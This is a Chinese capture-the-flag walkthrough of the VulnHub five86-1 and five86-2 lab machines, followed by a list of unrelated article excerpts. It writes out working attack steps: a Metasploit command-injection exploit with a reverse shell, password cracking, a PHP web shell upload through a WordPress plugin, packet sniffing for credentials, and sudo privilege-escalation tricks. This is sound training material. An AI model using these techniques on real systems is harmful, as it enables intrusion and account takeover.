vulnhub five86系列靶機合集

five86 ~ VulnHubhttps://www.vulnhub.com/series/five86,272/

five86-1滲透過程

信息收集

# 主機發現
nmap 192.168.56.0/24 -Pn
?
# 靶機全面掃描
nmap 192.168.56.131 -A -T4

目錄掃描

dirsearch -u http://192.168.56.131/

/robots.txt提示/ona。

/ona二層目錄掃描。

弱口令登錄OpenNetAdmin

/ona/login.php弱口令admin:admin成功登錄。

OpenNetAdmin RCE漏洞利用

漏洞庫搜索一下。

searchsploit opennetadmin

結合opennetadmin登錄后的提示版本信息是v18.1.1,命令注入試一下。

msfconsole
use exploit/unix/webapp/opennetadmin_ping_cmd_injection
set LHOST 192.168.56.109
set RHOSTS 192.168.56.131
run

通過python獲取tty。

python -c 'import pty;pty.spawn("/bin/bash")'

有五個用戶。

在~/.htpasswd中得到提示:douglas的密碼是十位,且包含aefhrt這些字符。

douglas:$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1

To make things slightly less painful (a standard dictionary will likely fail),

use the following character set for this 10 character password: aefhrt

crunch生成字典

根據提示生成密碼字典。

crunch 10 10 aefhrt -o passwd.txt

$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1保存為hash。

John --wordlist=字典  hash

fatherrrrr

切換到douglas。

sudo提權到jen用戶

cp命令可用。

結合douglas目錄下的.ssh,將id_rsa.pub復制到/jen/.ssh目錄下就能通過密鑰登錄了。

cp id_rsa.pub /tmp/authorized_keys
chmod 777 /tmp/authorized_keys
sudo -u jen /bin/cp /tmp/authorized_keys /home/jen/.ssh

成功登錄jen用戶。

登錄到moss用戶

登錄到jen用戶時提示有郵件,在郵件中找到moss密碼Fire!Fire!

suid提權到root

可疑文件upyourgame。

執行一下,一段亂輸入后成功提權。

get flag.txt🎆

five86-2滲透過程

信息收集

# 主機發現
namp 192.168.56.0/24 -Pn
?
# 全面掃描靶機
nmap 192.168.56.132 -A -T4

開放端口20,21,80。

訪問80端口,發現是WordPress框架,頁面顯示有些問題,需要添加映射關系。(其實不改也不影響wpscan工作)

vim /etc/hosts
# 添加
192.168.56.132  five86-2

wpscan爆破用戶名密碼

wpscan --url http://five86-2/ -e u,p,t

掃描得出admin,barney,gillian,peter,stephen五個用戶,接著爆破密碼。

wpscan --url http://five86-2/  -U user.txt -P /usr/share/wordlists/rockyou.txt

得到兩組用戶名密碼。

barney/spooky1
?
stephen/apollo1

都登錄看看權限,明顯的barney權限更高,但不是管理員權限。插件這里看見只有Insert or Embed Articulate Content into WordPress Trial這個插件被激活了。

wpscan插件利用

搜索得知插件Insert or Embed Articulate Content into WordPress Trial可以RCE。

  1. 準備兩個文件,分別是index.html和一句話木馬文件xx.php,壓縮到zip文件中。

  2. Posts——》Add New。

    上傳準備好的壓縮包。

    出現以下頁面表示可行,點擊insert。

    插入成功后會提示上傳路徑/wp-content/uploads/articulate_uploads/a5/index.html

  3. 蟻劍連接。http://ip/wp-content/uploads/articulate_uploads/a5/xx.php

上傳反彈shell文件php-reverse-shell.php

python3 -c 'import pty;pty.spawn("/bin/bash")'

wp-config.php找到數據庫用戶名密碼dbuser/4Te3bRd483e

數據庫操作:

show databases;
use wordpressdb;
show tables;
select * from wp_users;

注意WordPress是MD5加密

解不出來,先用之前獲得的兩組用戶名密碼試試,/home下有這兩個用戶。

成功切換到stephen。

tcpdump監聽指定網卡獲得敏感數據

id命令發現stephen在pcap組中。提示涉及到抓包?

# 打印所有可用作的接口
tcpdump -D
?
# 監控指定網卡120s將數據包寫入/tmp/1.pcap
tcpdump -i vethf2b0415 -G 120 -W 1 -w /tmp/1.pcap

tcpdump -r 1.pcap讀取數據包,得到ftp用戶名和密碼。paul/esomepasswford

通過密碼成功切換到paul用戶。

sudo提權

sudo提權。

service命令提權到peter用戶。

sudo -u peter /usr/sbin/service ../../bin/sh

還是sudo提權。

可以以root權限運行passwd命令,那么直接修改root密碼吧。sudo passwd root

get thisistheflag.txt🎆

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/79833.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/79833.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/79833.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

如何高效利用呼叫中心系統和AI語音機器人

要更好地使用呼叫中心系統和語音機器人,需要結合兩者的優勢,實現自動化、智能化、高效率的客戶服務與業務運營。以下是優化策略和具體實踐方法: 一、呼叫中心系統優化 1. 智能路由與IVR優化 智能ACD(自動呼叫分配) …

Nacos安裝及數據持久化

1.Nacos安裝及數據持久化 1.1下載nacos 下載地址:https://nacos.io/download/nacos-server/ 不用安裝,直接解壓縮即可。 1.2配置文件增加jdk環境和修改單機啟動standalone 找到bin目錄下的startup.cmd文件,添加以下語句(jdk路徑根據自己…

【牛客練習賽137 C】題解

比賽鏈接 C. 變化的數組(Easy Version) 題目大意 一個長度為 n n n 的非負數組 a a a,要求執行 k k k 次操作,每次操作如下: 有 1 2 \frac{1}{2} 21? 的概率令 a i ← a i ( a i ? m ) x , ? i ∈ [ 1 , n ] a_i \leftarrow a_…

Redis適用場景

Redis適用場景 一、加速緩存二、會話管理三、排行榜和計數器四、消息隊列五、實時分析六、分布式鎖七、地理位置數據八、限流九、數據共享十、簽到 一、加速緩存 Redis最常見的應用之一是作為緩存層,用于存儲頻繁訪問的數據,從而減輕數據庫的負載。 通過…

【LangChain4j快速入門】5分鐘用Java接入AI大模型,Spring Boot整合實戰!| 附源碼

【LangChain4j快速入門】5分鐘用Java接入AI大模型,Spring Boot整合實戰! 前言:當Java遇上大模型 在AI浪潮席卷全球的今天,Java開發者如何快速擁抱大語言模型?LangChain4j作為專為Java打造的AI開發框架,以…

2025第十七屆“華中杯”大學生數學建模挑戰賽題目B 題 校園共享單車的調度與維護問題完整成品正文33頁(不含附錄)文章思路 模型 代碼 結果分享

校園共享單車運營優化與調度模型研究 摘 要 本研究聚焦校園共享單車點位布局、供需平衡、運營效率及故障車輛回收四大核心問題,通過構建一系列數學模型,系統分析與優化共享單車的運維體系。 針對問題一,我們建立了基于多時段觀測的庫存估算…

Unity游戲多語言工具包

由于一開始的代碼沒有考慮多語言場景,導致代碼中提示框和UI顯示直接用了中文,最近開始提取代碼的中文,提取起來太麻煩,所以拓展了之前的多語言包,降低了操作復雜度。最后把工具代碼提取出來到單獨項目里面,…

.NET MCP 文檔

MCP 概述 MCP(Model Context Protocol)是由 Anthropic 推出的一種開放協議,類似 AI 的 USB-C 擴展塢,用于在大模型和數據源之間建立安全的通信(授權),讓 AI 應用能夠安全地訪問和操作本地或遠程…

【Linux】vim配置----超詳細

目錄 一、插件管理器準備 二、目錄準備 三、安裝插件 一、插件管理器準備 Vim-plug 是一個Vim插件管理器,利用異步并行可以快速地安裝、更新和卸載插件。它的安裝和配置都非常簡單,而且在操作過程中會給出很多易讀的反饋信息,是一個自由、…

PHP實現圖片自動添加水印效果

<?php // 設置原始圖片路徑和水印圖片路徑 $original_image original.jpg; $watermark_image watermark.png;// 創建圖片資源 $original imagecreatefromjpeg($original_image); $watermark imagecreatefrompng($watermark_image);// 獲取圖片尺寸 $original_width im…

檢查新接手LINUX服務器應用的部署情況和正在運行的服務

當接手一臺新的 Linux 服務器時&#xff0c;第一要務就是摸清系統上已經安裝部署了哪些應用和服務。 本文將以 CentOS7為例&#xff0c;詳細介紹如何系統地排查已安裝的應用和服務&#xff0c;包括它們的安裝方式和安裝位置。 1.查看系統基本信息 首先獲取系統整體信息&…

使用注解方式整合ssm時,啟動tomcat掃描不到resource下面的xxxmapper.xml問題,解決方法

解決org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): com.xxx.mapper.方法 在Spring與Mybatis整合時&#xff0c;可能會遇到這樣的報錯 原因&#xff1a; 其原因為mapper路徑的映射錯誤&#xff0c;表示在嘗試執行某個 Mapper 接口的方法時…

C++11特性補充

目錄 lambda表達式 定義 捕捉的方式 可變模板參數 遞歸函數方式展開參數包 數組展開參數包 移動構造和移動賦值 包裝器 綁定bind 智能指針 RAII auto_ptr unique_ptr shared_ptr 循環引用 weak_ptr 補充 總結 特殊類的設計 不能被拷貝的類 只能在堆上創建…

My SQL 索引

核心目標&#xff1a; 理解 mysql 索引的工作原理、類型、優缺點&#xff0c;并掌握創建、管理和優化索引的方法&#xff0c;以顯著提升數據庫查詢性能。 什么是索引&#xff1f; 索引是一種特殊的數據庫結構&#xff0c;它包含表中一列或多列的值以及指向這些值所在物理行的指…

極狐GitLab 注冊限制如何設置?

極狐GitLab 是 GitLab 在中國的發行版&#xff0c;關于中文參考文檔和資料有&#xff1a; 極狐GitLab 中文文檔極狐GitLab 中文論壇極狐GitLab 官網 注冊限制 (BASIC SELF) 您可以對注冊實施以下限制&#xff1a; 禁用新注冊。新注冊需要管理員批準。需要用戶電子郵件確認。…

10.(vue3.x+vite)div實現tooltip功能(css實現)

1:效果截圖 2:代碼實現 <template><div><div class="tooltip" style="margin-top: 20%; margin-left: 20%; background-color: blueviolet; color: white;

Linux下 文件的查找、復制、移動和解壓縮

1、在/var/log目錄下創建一個hehe.log的文件&#xff0c;其文件內容是&#xff1a; myhostname ghl mydomain localdomain relayhost [smtp.qq.com]:587 smtp_use_tls yes smtp_sasl_auth_enable yes smtp_sasl_security_options noanonymous smtp_sasl_tls_security_opt…

Ubuntu 安裝 Docker 教程(官方推薦方式)

? 步驟 1&#xff1a;卸載舊版本&#xff08;如果有&#xff09; for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done---### ? 步驟 2&#xff1a;更新 APT 索引并安裝依賴項bash sudo a…

計算機視覺與深度學習 | Transformer原理,公式,代碼,應用

Transformer 詳解 Transformer 是 Google 在 2017 年提出的基于自注意力機制的深度學習模型,徹底改變了序列建模的范式,解決了 RNN 和 LSTM 在長距離依賴和并行計算上的局限性。以下是其原理、公式、代碼和應用的詳細解析。 一、原理 核心架構 Transformer 由 編碼器(Encod…

計算機基礎 | 常見進制與單位簡介 / 表示 / 描述

注&#xff1a;本文為 “進制與常見單位應用” 相關文章合輯。 原文為繁體&#xff0c;注意術語描述差異。 略作重排。 進制簡介&#xff08;二進制、八進制、十進制、十六進制&#xff09; 發表于 2017-01-20 鄭中勝 數字系統&#xff08;Numeral system&#xff09;&#…